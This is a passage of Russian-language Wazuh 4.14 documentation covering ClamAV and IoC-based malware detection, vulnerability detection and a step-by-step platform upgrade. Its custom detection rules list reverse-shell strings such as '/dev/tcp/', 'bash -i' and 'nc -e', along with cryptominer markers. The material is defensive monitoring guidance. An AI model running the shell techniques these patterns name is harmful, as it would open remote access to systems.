ClamAV - антивирус с открытым исходным кодом. Wazuh анализирует логи ClamAV для генерации алертов при обнаружении вредоносного ПО.

### Конфигурация мониторинга логов ClamAV

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/clamav/clamav.log</location>
</localfile>
```

### Правила для ClamAV

```xml
<group name="clamav,">
  <rule id="100100" level="0">
    <decoded_as>clamav</decoded_as>
    <description>ClamAV grouping rule.</description>
  </rule>

  <rule id="100101" level="6">
    <if_sid>100100</if_sid>
    <match>FOUND</match>
    <description>ClamAV: Malware detected - $(file): $(signature).</description>
    <group>malware,clamav,</group>
  </rule>

  <rule id="100102" level="3">
    <if_sid>100100</if_sid>
    <match>ERROR</match>
    <description>ClamAV: Scan error.</description>
    <group>clamav,</group>
  </rule>
</group>
```

### Автоматическое сканирование через Active Response

Для автоматического запуска ClamAV при обнаружении нового файла:

```xml
<command>
  <name>clamav_scan</name>
  <executable>clamav_scan.sh</executable>
  <timeout_allowed>no</timeout_allowed>
</command>

<active-response>
  <command>clamav_scan</command>
  <location>local</location>
  <rules_id>554</rules_id>
</active-response>
```

## CDB-списки и индикаторы компрометации

CDB (Constant Database) списки позволяют хранить локальные базы индикаторов компрометации для проверки хешей файлов, IP-адресов и других IoC.

### Формат CDB-списка

Файлы CDB хранятся в `/var/ossec/etc/lists/` в формате "ключ:значение":

```
44d88612fea8a8f36de82e1278abb02f:malware_md5
e3b0c44298fc1c149afbf4c8996fb924:suspicious_hash
275a021bbfb6489e54d471899f7db9d1:eicar_test
```

### Подключение CDB-списка

В `/var/ossec/etc/ossec.conf` на сервере:

```xml
<ruleset>
  <list>etc/lists/malware_hashes</list>
</ruleset>
```

### Правило проверки хешей через CDB

```xml
<rule id="100200" level="12">
  <if_sid>550,554</if_sid>
  <list field="md5" lookup="match_key">etc/lists/malware_hashes</list>
  <description>Known malware hash detected: $(file).</description>
  <mitre>
    <id>T1204</id>
  </mitre>
  <group>malware,threat_intel,</group>
</rule>
```

## Каналы данных об угрозах

### Интеграция с MISP

Wazuh может получать IoC из платформы MISP (Malware Information Sharing Platform) и загружать их в CDB-списки:

```bash
#!/bin/bash
# Скрипт обновления CDB из MISP
MISP_URL="https://misp.example.com"
MISP_KEY="your_misp_api_key"
OUTPUT="/var/ossec/etc/lists/misp_hashes"

curl -sk -H "Authorization: $MISP_KEY" \
  "$MISP_URL/attributes/restSearch/type:md5" | \
  jq -r '.response.Attribute[].value' | \
  while read hash; do
    echo "${hash}:misp_indicator"
  done > "$OUTPUT"

# Перезагрузка правил
/var/ossec/bin/wazuh-control reload
```

### Интеграция с CISA KEV

Загрузка списка известных эксплуатируемых уязвимостей CISA для сопоставления с данными об установленном ПО:

```bash
curl -s https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json | \
  jq -r '.vulnerabilities[].cveID' | \
  while read cve; do
    echo "${cve}:cisa_kev"
  done > /var/ossec/etc/lists/cisa_kev
```

## Пользовательские правила обнаружения

### Обнаружение майнера

```xml
<rule id="100300" level="10">
  <if_sid>530</if_sid>
  <match>stratum+tcp://|xmrig|minerd|cpuminer</match>
  <description>Cryptocurrency miner detected in process or log.</description>
  <mitre>
    <id>T1496</id>
  </mitre>
  <group>malware,cryptominer,</group>
</rule>
```

### Обнаружение reverse shell

```xml
<rule id="100301" level="12">
  <if_sid>530</if_sid>
  <match>/dev/tcp/|bash -i|nc -e|python -c.*socket|perl -e.*socket</match>
  <description>Possible reverse shell detected.</description>
  <mitre>
    <id>T1059</id>
  </mitre>
  <group>malware,reverse_shell,attack,</group>
</rule>
```

### Обнаружение подозрительного скрипта в /tmp

```xml
<rule id="100302" level="8">
  <if_sid>554</if_sid>
  <field name="file">^/tmp/.*\.(sh|py|pl|rb)$</field>
  <description>Script file created in /tmp directory.</description>
  <mitre>
    <id>T1059</id>
  </mitre>
  <group>malware,suspicious_file,</group>
</rule>
```

## Устранение неполадок

### Rootcheck не обнаруживает руткиты

1. Проверьте, что rootcheck включен:
```xml
<rootcheck>
  <disabled>no</disabled>
</rootcheck>
```

2. Убедитесь, что файлы сигнатур существуют:
```bash
ls -la /var/ossec/etc/shared/rootkit_files.txt
ls -la /var/ossec/etc/shared/rootkit_trojans.txt
```

3. Проверьте логи:
```bash
grep rootcheck /var/ossec/logs/ossec.log | tail -20
```

### VirusTotal integration не работает

1. Проверьте API-ключ:
```bash
curl -s "https://www.virustotal.com/api/v3/files/44d88612fea8a8f36de82e1278abb02f" \
  -H "x-apikey: YOUR_API_KEY" | jq '.data.attributes.last_analysis_stats'
```

2. Проверьте логи integratord:
```bash
tail -50 /var/ossec/logs/integrations.log
```

3. Убедитесь, что integratord запущен:
```bash
/var/ossec/bin/wazuh-control status | grep integratord
```

### YARA не сканирует файлы

1. Убедитесь, что YARA установлен:
```bash
yara --version
```

2. Проверьте правильность пути к правилам:
```bash
ls -la /var/ossec/etc/rules/yara_rules.yar
```

3. Протестируйте правило вручную:
```bash
yara /var/ossec/etc/rules/yara_rules.yar /path/to/test/file
```

4. Проверьте логи Active Response:
```bash
tail -20 /var/ossec/logs/active-responses.log
```

### Высокая нагрузка при сканировании

1. Увеличьте интервал rootcheck:
```xml
<rootcheck>
  <frequency>86400</frequency>
</rootcheck>
```

2. Исключите сетевые файловые системы:
```xml
<rootcheck>
  <skip_nfs>yes</skip_nfs>
</rootcheck>
```

3. Настройте расписание сканирования VirusTotal с учетом лимитов API.

## Связанные разделы

- [Мониторинг целостности файлов](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) - FIM как основа для обнаружения вредоносного ПО
- [Обнаружение уязвимостей](/docs/wazuh/capabilities/wazuh-vulnerability-detection/) - выявление уязвимого ПО, которое может быть использовано малварью
- [Компоненты Wazuh](/docs/wazuh/getting-started/wazuh-components/) - модули агента, участвующие в обнаружении угроз


---

# Обнаружение уязвимостей в Wazuh 4.14

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-vulnerability-detection/


Модуль обнаружения уязвимостей в Wazuh выявляет известные CVE (Common Vulnerabilities and Exposures) в программном обеспечении, установленном на контролируемых системах. Модуль работает в два этапа: компонент syscollector на агенте собирает инвентаризацию установленных пакетов, а модуль vulnerability-detector на сервере сопоставляет эти данные с базами уязвимостей.

## Принцип работы

Обнаружение уязвимостей в Wazuh основано на корреляции двух источников данных:

1. **Инвентаризация ПО (Syscollector)** - агент собирает список установленных пакетов, их версии и архитектуру
2. **Базы уязвимостей** - сервер загружает и обновляет фиды из NVD, CISA KEV и вендор-специфичных источников
3. **Корреляция** - сервер сопоставляет версии установленных пакетов с записями CPE/CVE и генерирует алерты

```
Агент (syscollector) -> Инвентаризация пакетов ->
-> Сервер (vulnerability-detector) -> Корреляция с CVE ->
-> Алерт -> Индексатор -> Дашборд
```

### Процесс сопоставления

Модуль vulnerability-detector выполняет следующие операции:

1. Получает данные инвентаризации от агента через syscollector
2. Загружает обновления фидов уязвимостей по расписанию
3. Для каждого пакета проверяет наличие соответствующих CPE (Common Platform Enumeration) записей
4. Сопоставляет CPE с записями CVE в базе уязвимостей
5. Сравнивает версию установленного пакета с диапазоном уязвимых версий
6. Генерирует алерт с деталями уязвимости (CVE ID, CVSS, описание, затронутый пакет)

## Конфигурация vulnerability-detector

### Конфигурация на сервере

Модуль настраивается в `/var/ossec/etc/ossec.conf` на сервере Wazuh:

```xml
<vulnerability-detection>
  <enabled>yes</enabled>
  <index-status>yes</index-status>
  <feed-update-interval>60m</feed-update-interval>
</vulnerability-detection>
```

### Параметры конфигурации

| Параметр | Описание | По умолчанию |
|----------|----------|-------------|
| `enabled` | Включение модуля | yes |
| `index-status` | Индексация статуса уязвимостей | yes |
| `feed-update-interval` | Интервал обновления фидов (минимум 60m) | 60m |

### Подключение индексатора

Модуль требует настройки подключения к индексатору для хранения результатов:

```xml
<indexer>
  <enabled>yes</enabled>
  <hosts>
    <host>https://127.0.0.1:9200</host>
  </hosts>
  <ssl>
    <certificate_authorities>
      <ca>/etc/filebeat/certs/root-ca.pem</ca>
    </certificate_authorities>
    <certificate>/etc/filebeat/certs/filebeat.pem</certificate>
    <key>/etc/filebeat/certs/filebeat-key.pem</key>
  </ssl>
</indexer>
```

### Автономный режим

Для сред без доступа к интернету Wazuh поддерживает автономный режим с локальным репозиторием:

```xml
<vulnerability-detection>
  <enabled>yes</enabled>
  <index-status>yes</index-status>
  <feed-update-interval>60m</feed-update-interval>
  <offline-url>file:///var/ossec/var/vuln-feed/</offline-url>
</vulnerability-detection>
```

Автономный репозиторий загружается заранее и размещается на сервере Wazuh.

## Провайдеры фидов уязвимостей

Wazuh использует платформу Wazuh CTI для получения данных об уязвимостях. Данные агрегируются из нескольких первичных источников.

### Источники данных

| Источник | Описание | Покрытие |
|----------|----------|----------|
| NVD (National Vulnerability Database) | Основная база CVE от NIST | Все платформы |
| Canonical | Уязвимости в пакетах Ubuntu | Ubuntu |
| Red Hat | Уязвимости в RHEL и Fedora | RHEL, CentOS, Fedora |
| Debian | Уязвимости в пакетах Debian | Debian |
| ALAS (Amazon Linux Security Advisories) | Уязвимости Amazon Linux | Amazon Linux 1/2/2023 |
| Microsoft | Обновления безопасности Windows | Windows |
| CISA KEV | Известные эксплуатируемые уязвимости | Все платформы |
| Arch Linux | Уязвимости в Arch пакетах | Arch Linux |

### Приоритизация

При наличии информации из нескольких источников Wazuh использует вендор-специфичный фид как приоритетный. Например, для пакета на Ubuntu данные Canonical имеют приоритет над NVD, так как содержат информацию о точных версиях исправленных пакетов в репозитории дистрибутива.

## Конфигурация Syscollector

Syscollector - модуль агента, отвечающий за сбор данных инвентаризации. Настраивается в `/var/ossec/etc/ossec.conf` на стороне агента:

```xml
<wodle name="syscollector">
  <disabled>no</disabled>
  <interval>1h</interval>
  <scan_on_start>yes</scan_on_start>
  <hardware>yes</hardware>
  <os>yes</os>
  <network>yes</network>
  <packages>yes</packages>
  <ports all="no">yes</ports>
  <processes>yes</processes>
  <hotfixes>yes</hotfixes>
</wodle>
```

### Параметры syscollector

| Параметр | Описание | По умолчанию |
|----------|----------|-------------|
| `disabled` | Отключение модуля | no |
| `interval` | Интервал сбора данных | 1h |
| `scan_on_start` | Сканирование при запуске агента | yes |
| `hardware` | Информация об аппаратном обеспечении | yes |
| `os` | Информация об ОС | yes |
| `network` | Сетевые интерфейсы | yes |
| `packages` | Установленные пакеты | yes |
| `ports` | Открытые порты | yes |
| `processes` | Запущенные процессы | yes |
| `hotfixes` | Установленные обновления (Windows) | yes |

### Собираемые данные о пакетах

Для каждого пакета syscollector собирает:

- Имя пакета
- Версия
- Архитектура
- Источник (менеджер пакетов)
- Описание
- Дата установки

На Linux данные извлекаются из dpkg (Debian/Ubuntu), rpm (RHEL/CentOS), pacman (Arch). На Windows - из реестра (установленные программы) и базы обновлений.

## Уровни критичности

Wazuh использует систему CVSS (Common Vulnerability Scoring System) для классификации уязвимостей:

| CVSS Score | Критичность | Уровень алерта Wazuh |
|-----------|-------------|---------------------|
| 0.0 | None | - |
| 0.1 - 3.9 | Low | 5 |
| 4.0 - 6.9 | Medium | 7 |
| 7.0 - 8.9 | High | 10 |
| 9.0 - 10.0 | Critical | 13 |

Алерты уровня 12 и выше активируют уведомления по электронной почте (при настроенном email-нотификаторе).

## Примеры алертов

### Уязвимость с высокой критичностью

```json
{
  "timestamp": "2024-11-20T14:30:00.000+0000",
  "rule": {
    "level": 10,
    "description": "CVE-2024-6387 affects openssh-server",
    "id": "23505",
    "groups": ["vulnerability-detector"]
  },
  "agent": {
    "id": "003",
    "name": "web-server-prod"
  },
  "data": {
    "vulnerability": {
      "cve": "CVE-2024-6387",
      "title": "RegreSSHion: Remote Code Execution in OpenSSH",
      "severity": "High",
      "cvss": {
        "cvss3": {
          "base_score": "8.1",
          "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
        }
      },
      "package": {
        "name": "openssh-server",
        "version": "1:8.9p1-3ubuntu0.6",
        "architecture": "amd64",
        "condition": "Package less than 1:8.9p1-3ubuntu0.10"
      },
      "reference": "https://nvd.nist.gov/vuln/detail/CVE-2024-6387",
      "published": "2024-07-01",
      "status": "Active"
    }
  }
}
```

### Критическая уязвимость

```json
{
  "rule": {
    "level": 13,
    "description": "CVE-2021-44228 affects log4j2",
    "id": "23505"
  },
  "data": {
    "vulnerability": {
      "cve": "CVE-2021-44228",
      "title": "Apache Log4j2 Remote Code Execution",
      "severity": "Critical",
      "cvss": {
        "cvss3": {
          "base_score": "10.0"
        }
      },
      "package": {
        "name": "liblog4j2-java",
        "version": "2.14.1-1",
        "condition": "Package less than 2.17.1"
      },
      "status": "Active"
    }
  }
}
```

### Уязвимость с доступным исправлением

```json
{
  "data": {
    "vulnerability": {
      "cve": "CVE-2024-1234",
      "severity": "Medium",
      "package": {
        "name": "nginx",
        "version": "1.22.0-1",
        "condition": "Package less than 1.22.0-3"
      },
      "status": "Active",
      "remediation": "Upgrade nginx to version 1.22.0-3 or later"
    }
  }
}
```

## Расписание сканирования

### Настройка интервала обновления фидов

Параметр `feed-update-interval` определяет частоту обновления баз уязвимостей. Минимальное значение - 60 минут.

```xml
<vulnerability-detection>
  <feed-update-interval>60m</feed-update-interval>  <!-- Каждый час -->
</vulnerability-detection>
```

Допустимые единицы измерения: `s` (секунды), `m` (минуты), `h` (часы), `d` (дни).

### Настройка интервала syscollector

Интервал сбора инвентаризации настраивается независимо на агенте:

```xml
<wodle name="syscollector">
  <interval>1h</interval>    <!-- Каждый час -->
  <scan_on_start>yes</scan_on_start>
</wodle>
```

Рекомендуемые значения:

| Среда | Интервал syscollector | Интервал фидов |
|-------|----------------------|----------------|
| Высококритичная | 30m | 60m |
| Стандартная | 1h | 60m |
| Низкоприоритетная | 12h | 24h |

## Дашборд уязвимостей

Дашборд Vulnerability Detection в Wazuh Dashboard предоставляет:

- **Сводка** - общее количество уязвимостей по уровням критичности
- **Топ уязвимых агентов** - системы с наибольшим количеством уязвимостей
- **Топ CVE** - наиболее распространенные уязвимости в инфраструктуре
- **Распределение по критичности** - диаграмма по CVSS score
- **Временная шкала** - динамика обнаружения уязвимостей
- **Детализация по агенту** - список уязвимостей для конкретной системы
- **Фильтрация** - по агенту, CVE ID, критичности, пакету, статусу

Доступ к дашборду: Wazuh Dashboard - Modules - Vulnerability Detection.

## Управление ложными срабатываниями

### Списки исключений

Для исключения известных ложных срабатываний используйте правила с уровнем 0:

```xml
<rule id="100400" level="0">
  <if_sid>23505</if_sid>
  <field name="data.vulnerability.cve">CVE-2023-12345</field>
  <description>False positive: CVE-2023-12345 not applicable in this configuration.</description>
</rule>
```

### Исключение по пакету

```xml
<rule id="100401" level="0">
  <if_sid>23505</if_sid>
  <field name="data.vulnerability.package.name">^libexample$</field>
  <description>Suppress vulnerability alerts for libexample (internal package).</description>
</rule>
```

### Исключение по агенту

```xml
<rule id="100402" level="0">
  <if_sid>23505</if_sid>
  <field name="agent.name">^test-server-</field>
  <description>Suppress vulnerability alerts for test servers.</description>
</rule>
```

### Рекомендации по управлению ложными срабатываниями

1. Не подавляйте алерты для критических CVE без документированного обоснования
2. Периодически пересматривайте список исключений (рекомендуется раз в квартал)
3. Используйте поле `description` для документирования причины исключения
4. Рассмотрите применение компенсирующих мер вместо подавления алерта

## Сравнение с альтернативными решениями

| Характеристика | Wazuh VD | Qualys VMDR | Tenable Nessus | OpenVAS |
|---------------|----------|-------------|----------------|---------|
| Метод сканирования | Агентный (инвентаризация) | Агентный + сетевой | Сетевой + агентный | Сетевой |
| Базы уязвимостей | NVD, вендорные | Проприетарная QID | Проприетарная | NVD, OVAL |
| CVSS scoring | Да (v3) | Да (v3 + TruRisk) | Да (v3 + VPR) | Да (v3) |
| Реальное время | Периодический (по расписанию) | Непрерывный | По запросу / расписание | По запросу |
| Интеграция с SIEM | Встроенная | Через API/Syslog | Через API/Syslog | Через API |
| Лицензия | Open Source (GPLv2) | Коммерческая | Коммерческая | Open Source (GPL) |
| Агентная установка | Wazuh Agent | Cloud Agent | Nessus Agent | Нет |
| Поддержка Windows | Да | Да | Да | Ограниченная |
| Web-приложения | Нет | Да (WAS) | Да | Ограниченная |
| Приоритизация | CVSS + CISA KEV | TruRisk | VPR | CVSS |

Wazuh выделяется агентным подходом без необходимости сетевого сканирования, встроенной интеграцией с SIEM и бесплатной лицензией. Ограничением является отсутствие сканирования веб-приложений и зависимость от публичных баз CVE.

## Устранение неполадок

### Уязвимости не обнаруживаются

1. Проверьте, что модуль vulnerability-detection включен на сервере:
```xml
<vulnerability-detection>
  <enabled>yes</enabled>
</vulnerability-detection>
```

2. Убедитесь, что syscollector включен на агенте:
```xml
<wodle name="syscollector">
  <disabled>no</disabled>
  <packages>yes</packages>
</wodle>
```

3. Проверьте статус обновления фидов:
```bash
grep vulnerability /var/ossec/logs/ossec.log | tail -20
```

4. Убедитесь, что данные инвентаризации доступны:
```bash
curl -sk -u admin:password \
  "https://localhost:9200/wazuh-states-inventory-*/_search?size=1" \
  -H "Content-Type: application/json"
```

### Фиды не обновляются

1. Проверьте сетевое подключение к серверу обновлений:
```bash
curl -s https://cti.wazuh.com/api/v1/ping
```

2. Проверьте DNS-разрешение:
```bash
nslookup cti.wazuh.com
```

3. Для автономного режима убедитесь, что файлы фидов доступны:
```bash
ls -la /var/ossec/var/vuln-feed/
```

### Слишком много алертов об уязвимостях

1. Создайте правила исключения для известных ложных срабатываний (см. раздел выше)

2. Настройте приоритизацию - сфокусируйтесь на критических и высоких уязвимостях:
```bash
curl -sk -u admin:password \
  "https://localhost:9200/wazuh-states-vulnerabilities-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"size":0,"aggs":{"severity":{"terms":{"field":"vulnerability.severity"}}}}'
```

3. Регулярно обновляйте пакеты для устранения уязвимостей.

### Syscollector не собирает данные

1. Проверьте статус модуля:
```bash
/var/ossec/bin/wazuh-control status | grep modulesd
```

2. Убедитесь, что менеджер пакетов доступен:
```bash
# Debian/Ubuntu
dpkg -l | head -5

# RHEL/CentOS
rpm -qa | head -5
```

3. Проверьте логи агента:
```bash
grep syscollector /var/ossec/logs/ossec.log | tail -20
```

### Высокая нагрузка при сканировании

1. Увеличьте интервал syscollector:
```xml
<wodle name="syscollector">
  <interval>12h</interval>
</wodle>
```

2. Отключите ненужные модули сбора:
```xml
<wodle name="syscollector">
  <hardware>no</hardware>
  <processes>no</processes>
  <ports>no</ports>
</wodle>
```

3. Оставьте только критически необходимые данные: `packages` и `hotfixes`.

## Связанные разделы

- [Мониторинг целостности файлов](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) - FIM обнаруживает изменения, vulnerability detection выявляет уязвимости в установленном ПО
- [Оценка конфигурации безопасности](/docs/wazuh/capabilities/wazuh-sca/) - SCA проверяет конфигурации, дополняя данные об уязвимостях
- [Компоненты Wazuh](/docs/wazuh/getting-started/wazuh-components/) - роли агента и сервера в процессе обнаружения уязвимостей


---

# Обновление Wazuh 4.14 - пошаговое руководство

Source: https://opennix.org/docs/wazuh/operations/wazuh-upgrade/


Обновление Wazuh требует последовательного обновления всех центральных компонентов и агентов в строго определенном порядке. Нарушение порядка или несовпадение версий компонентов приводит к неработоспособности платформы. В этом руководстве описаны все этапы обновления до версии 4.14, включая подготовку, пошаговые инструкции, проверку результатов и откат при сбое.

## Матрица совместимости версий

Все центральные компоненты Wazuh должны иметь одинаковую версию, включая номер патча. Несоответствие версий приводит к ошибкам взаимодействия между компонентами.

| Компонент | Совместимые версии | Зависимости |
|---|---|---|
| Wazuh Indexer | Должен совпадать с Server и Dashboard | Filebeat-OSS 7.10.2 |
| Wazuh Server | Должен совпадать с Indexer и Dashboard | Filebeat-OSS 7.10.2 |
| Wazuh Dashboard | Должен совпадать с Indexer и Server | - |
| Wazuh Agent | Версия менеджера >= версии агента | - |

### Совместимость версий агентов

Wazuh Agent совместим с Wazuh Server той же или более новой версии. Допускается ситуация, когда сервер обновлен до 4.14, а агенты работают на версии 4.9 и выше. Обратная ситуация (агент новее сервера) не поддерживается.

## Порядок обновления

Обновление компонентов выполняется строго в следующем порядке:

1. **Wazuh Indexer** - хранилище данных обновляется первым
2. **Wazuh Server** (менеджер + Filebeat) - сервер обработки событий
3. **Wazuh Dashboard** - веб-интерфейс
4. **Wazuh Agent** - агенты на конечных точках (после центральных компонентов)

Нарушение порядка может привести к потере данных или неработоспособности платформы.

## Предварительная подготовка

### Контрольный список перед обновлением

Перед началом обновления выполните следующие проверки:

- [ ] Создана [резервная копия](/docs/wazuh/operations/wazuh-backup/) конфигурации и данных всех компонентов
- [ ] Зафиксированы текущие версии всех компонентов
- [ ] Проверена доступность репозиториев Wazuh или подготовлены пакеты для автономной установки
- [ ] Запланировано окно обслуживания (обновление центральных компонентов требует остановки сервисов)
- [ ] Экспортированы пользовательские объекты Dashboard (визуализации, дашборды, поисковые запросы)
- [ ] Проверено состояние кластера индексатора (все узлы в статусе `green`)
- [ ] Записаны идентификаторы ML Commons моделей и агентов (при использовании AI-интеграций)

### Проверка текущих версий

```bash
# Версии пакетов (RPM)
rpm -qa | grep wazuh

# Версии пакетов (DEB)
dpkg -l | grep wazuh

# Версия менеджера через API
curl -sk -u wazuh-wui:<PASSWORD> \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true" \
  | xargs -I {} curl -sk -H "Authorization: Bearer {}" \
  "https://localhost:55000/manager/info" | jq '.data.affected_items[0].version'

# Состояние кластера индексатора
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cluster/health?pretty"
```

### Экспорт объектов Dashboard

Перед обновлением Dashboard сохраните пользовательские объекты:

1. Откройте Wazuh Dashboard
2. Перейдите в **Stack Management** > **Saved Objects**
3. Выберите все объекты и нажмите **Export**
4. Сохраните файл экспорта в безопасном месте

### Добавление репозитория Wazuh

Для обновления необходим доступ к репозиторию Wazuh. Если репозиторий был отключен после установки, активируйте его:

**RPM-дистрибутивы (CentOS, RHEL, Amazon Linux):**

```bash
sed -i "s/^enabled=0/enabled=1/" /etc/yum.repos.d/wazuh.repo
```

**DEB-дистрибутивы (Ubuntu, Debian):**

```bash
sed -i "s/^#deb /deb /" /etc/apt/sources.list.d/wazuh.list
apt-get update
```

## Обновление Wazuh Indexer

Wazuh Indexer обновляется первым. В многоузловом кластере узлы обновляются по одному, узел `cluster_manager` обновляется последним.

### Подготовка кластера

1. Создайте резервную копию конфигурации безопасности:

```bash
/usr/share/wazuh-indexer/bin/indexer-security-init.sh \
  --options "-backup /etc/wazuh-indexer/opensearch-security -icl -nhnv"
```

2. Отключите перераспределение шардов для предотвращения избыточной нагрузки во время обновления:

```bash
curl -sk -u admin:<PASSWORD> \
  -X PUT "https://localhost:9200/_cluster/settings" \
  -H "Content-Type: application/json" \
  -d '{
    "persistent": {
      "cluster.routing.allocation.enable": "primaries"
    }
  }'
```

3. Выполните сброс транзакционного лога:

```bash
curl -sk -u admin:<PASSWORD> \
  -X POST "https://localhost:9200/_flush"
```

4. Остановите Filebeat и Dashboard:

```bash
systemctl stop filebeat
systemctl stop wazuh-dashboard
```

### Обновление узла индексатора

Выполните следующие шаги для каждого узла (в многоузловом кластере - по одному):

1. Остановите сервис индексатора:

```bash
systemctl stop wazuh-indexer
```

2. Сохраните текущие настройки JVM:

```bash
cp /etc/wazuh-indexer/jvm.options /etc/wazuh-indexer/jvm.options.bak
```

3. Обновите пакет:

```bash
# RPM
yum upgrade wazuh-indexer

# DEB
apt-get install wazuh-indexer
```

4. Восстановите пользовательские настройки JVM (размер heap и другие параметры):

```bash
# Сравните файлы и перенесите пользовательские настройки
diff /etc/wazuh-indexer/jvm.options /etc/wazuh-indexer/jvm.options.bak
```

5. Перезапустите сервис:

```bash
systemctl daemon-reload
systemctl enable wazuh-indexer
systemctl start wazuh-indexer
```

6. Дождитесь присоединения узла к кластеру (30-60 секунд) и проверьте его статус:

```bash
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cat/nodes?v"
```

### Завершение обновления индексатора

После обновления всех узлов:

1. Восстановите конфигурацию безопасности:

```bash
/usr/share/wazuh-indexer/bin/indexer-security-init.sh
```

2. Включите перераспределение шардов:

```bash
curl -sk -u admin:<PASSWORD> \
  -X PUT "https://localhost:9200/_cluster/settings" \
  -H "Content-Type: application/json" \
  -d '{
    "persistent": {
      "cluster.routing.allocation.enable": "all"
    }
  }'
```

3. Проверьте состояние кластера:

```bash
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cluster/health?pretty"
```

Кластер должен вернуться в статус `green`. Если статус `yellow` - дождитесь завершения перераспределения шардов.

## Обновление Wazuh Server

Wazuh Server обновляется после индексатора. В кластерной конфигурации обновите сначала рабочие узлы (workers), затем главный узел (master).

### Обновление менеджера

1. Обновите пакет:

```bash
# RPM
yum upgrade wazuh-manager

# DEB
apt-get install wazuh-manager
```

Модифицированный файл `/var/ossec/etc/ossec.conf` не перезаписывается при обновлении. Новые параметры конфигурации необходимо добавить вручную.

2. Запустите сервис:

```bash
systemctl daemon-reload
systemctl enable wazuh-manager
systemctl start wazuh-manager
```

3. Проверьте статус:

```bash
systemctl status wazuh-manager
```

### Дополнительные настройки при обновлении с ранних версий

**При обновлении с версии 4.12.x и ранее** добавьте списки CDB для обнаружения IoC в `/var/ossec/etc/ossec.conf`:

```xml
<ruleset>
  <list>etc/lists/audit-keys</list>
  <list>etc/lists/amazon/aws-eventnames</list>
  <list>etc/lists/security-eventchannel</list>
  <list>etc/lists/malicious-ioc-md5</list>
  <list>etc/lists/malicious-ioc-sha1</list>
  <list>etc/lists/malicious-ioc-sha256</list>
</ruleset>
```

**При обновлении с версии 4.7.x и ранее** настройте модуль обнаружения уязвимостей и коннектор индексатора:

```xml
<vulnerability-detection>
  <enabled>yes</enabled>
  <index-status>yes</index-status>
  <feed-update-interval>60m</feed-update-interval>
</vulnerability-detection>

<indexer>
  <enabled>yes</enabled>
  <hosts>
    <host>https://INDEXER_IP:9200</host>
  </hosts>
</indexer>
```

Сохраните учетные данные в хранилище ключей:

```bash
echo '<USERNAME>' | /var/ossec/bin/wazuh-keystore -f indexer -k username
echo '<PASSWORD>' | /var/ossec/bin/wazuh-keystore -f indexer -k password
systemctl restart wazuh-manager
```

### Обновление Filebeat

1. Загрузите обновленный модуль Wazuh для Filebeat:

```bash
curl -s https://packages.wazuh.com/4.x/filebeat/wazuh-filebeat-0.5.tar.gz \
  | tar -xvz -C /usr/share/filebeat/module
```

2. Загрузите обновленный шаблон индекса:

```bash
curl -so /etc/filebeat/wazuh-template.json \
  https://raw.githubusercontent.com/wazuh/wazuh/v4.14.4/extensions/elasticsearch/7.x/wazuh-template.json
```

3. Обновите пакет Filebeat:

```bash
# RPM
yum upgrade filebeat

# DEB
apt-get install filebeat
```

4. Перезапустите Filebeat и примените настройки:

```bash
systemctl daemon-reload
systemctl enable filebeat
systemctl start filebeat

filebeat setup --pipelines
filebeat setup --index-management
```

5. Проверьте подключение Filebeat к индексатору:

```bash
filebeat test output
```

## Обновление Wazuh Dashboard

Dashboard обновляется после сервера и индексатора.

1. Сохраните текущую конфигурацию:

```bash
cp /etc/wazuh-dashboard/opensearch_dashboards.yml \
   /etc/wazuh-dashboard/opensearch_dashboards.yml.bak
```

2. Обновите пакет:

```bash
# RPM
yum upgrade wazuh-dashboard

# DEB
apt-get install wazuh-dashboard
```

3. Проверьте пути к SSL-сертификатам в конфигурации:

```bash
grep -E "server.ssl.(key|certificate)" /etc/wazuh-dashboard/opensearch_dashboards.yml
```

Убедитесь, что пути к сертификатам корректны и файлы существуют.

4. При обновлении с версии 4.7 и ранее добавьте маршрут по умолчанию:

```yaml
uiSettings.overrides.defaultRoute: /app/wz-home
```

5. Перезапустите Dashboard:

```bash
systemctl daemon-reload
systemctl enable wazuh-dashboard
systemctl start wazuh-dashboard
```

6. Импортируйте сохраненные объекты через **Stack Management** > **Saved Objects** > **Import**.

## Обновление агентов Wazuh

Агенты обновляются после центральных компонентов. Wazuh поддерживает два метода обновления.

### Удаленное обновление

Удаленное обновление выполняется через утилиту `agent_upgrade` или API:

```bash
# Обновление конкретного агента
/var/ossec/bin/agent_upgrade -a 001

# Обновление всех агентов
/var/ossec/bin/agent_upgrade -a all
```

Через API:

```bash
TOKEN=$(curl -sk -u wazuh-wui:<PASSWORD> \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/upgrade?agents_list=001"
```

### Локальное обновление

**Linux (RPM):**

```bash
yum upgrade wazuh-agent
systemctl restart wazuh-agent
```

**Linux (DEB):**

```bash
apt-get install wazuh-agent
systemctl restart wazuh-agent
```

**Windows:**

Загрузите MSI-инсталлятор с [packages.wazuh.com](https://packages.wazuh.com/4.x/windows/) и выполните установку поверх текущей версии. Настройки агента сохраняются.

**macOS:**

```bash
curl -so wazuh-agent.pkg \
  https://packages.wazuh.com/4.x/macos/wazuh-agent-4.14.4-1.arm64.pkg
sudo installer -pkg wazuh-agent.pkg -target /
sudo /Library/Ossec/bin/wazuh-control restart
```

## Проверка после обновления

После обновления всех компонентов выполните следующие проверки:

```bash
# Версии установленных пакетов
rpm -qa | grep wazuh   # или dpkg -l | grep wazuh

# Состояние сервисов
systemctl status wazuh-indexer
systemctl status wazuh-manager
systemctl status filebeat
systemctl status wazuh-dashboard

# Кластер индексатора
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cluster/health?pretty"

# Подключенные агенты
TOKEN=$(curl -sk -u wazuh-wui:<PASSWORD> \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?status=active&limit=5" \
  | jq '.data.affected_items[] | {id, name, version, status}'
```

## Отключение репозиториев после обновления

